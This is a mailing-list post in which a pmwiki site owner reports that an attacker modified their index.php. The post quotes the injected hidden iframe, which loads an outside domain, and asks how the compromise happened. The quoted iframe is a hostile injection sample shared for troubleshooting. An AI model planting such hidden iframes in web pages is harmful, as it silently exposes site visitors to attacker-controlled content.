[pmwiki-users] Possible security issue
films at wordit.com
Wed Mar 5 06:32:18 CST 2008
I have a possible security issue, not sure whether it is pmwiki or on my
I've been running pmwiki for about a week online. Yesterday the
index.php page gave a syntax error about a missing closing tag. I
wondered why the page had changed when I hadn't edited it.
It turns out somebody was able to use a security exploit to write to the
index.php file. They add the following iframe:
<iframe src="http://pinoc.com/count.php?o=2" width=0 height=0
style="hidden" frameborder=0 marginheight=0 marginwidth=0
I've no idea what that domain pinoc.com is and what the intention is.
Normally I think they are spammers trying to add links. If so, where do
I report them?
The file was only writable by owner. Now I changed all permissions to
read-only. That solves it, but I'd still like to know how it could be
I'm running pmwiki-2.2.0-beta65. Any ideas whether this is a pmwiki
issue or my setup, or my general server security?
Before I forget, a big Thank You to Patrick and the other developers for
pmwiki. I'm running Puppy Linux, which follows a similar philosophy as
pmwiki, trying to avoid bloat yet remain powerful. pmwiki being under
2MB unpacked is brilliant. It just works out of the box. I can rsync
with local and online wikis because pmwiki uses flast files. With
lighty, and PHP it's all only 15MB. You really did make it simple and
extensible. Great job.
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